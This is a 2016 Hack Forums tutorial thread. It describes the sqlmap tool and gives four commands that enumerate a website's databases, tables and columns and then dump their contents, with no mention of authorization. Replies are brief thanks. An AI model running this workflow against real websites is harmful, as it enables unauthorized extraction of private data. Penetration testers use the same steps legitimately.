+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Howto: Check SQL Injection in Website (/showthread.php?tid=5251088)
Howto: Check SQL Injection in Website - root.localhost - Apr 27, 2016
In this video I will show you step-by-step how to Check SQL Injection in Website using Sqlmap.
What Is Sqlmap:
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Steps:
1. sqlmap -u URL/pagename --dbs
Get's Lists Databases on SQL Server.
2. sqlmap -u URL/pagename --tables -D Databasename
Get's Tables in the Database you pick.
3. sqlmap -u URL/pagename --columns -D Databasename -T Tablename
Get's Columns in the Table you pick.
4. sqlmap -u URL/pagename --dump -D Databasename -T Tablename
Extracts the Database information inside the Table you pick.
* - AlirezaVF - Apr 27, 2016
thank you very much
great tut
* - Glovekian - May 7, 2016
Great thank you so much for sharing this A+
* - Hamzah - May 26, 2016
Thanks its a great video .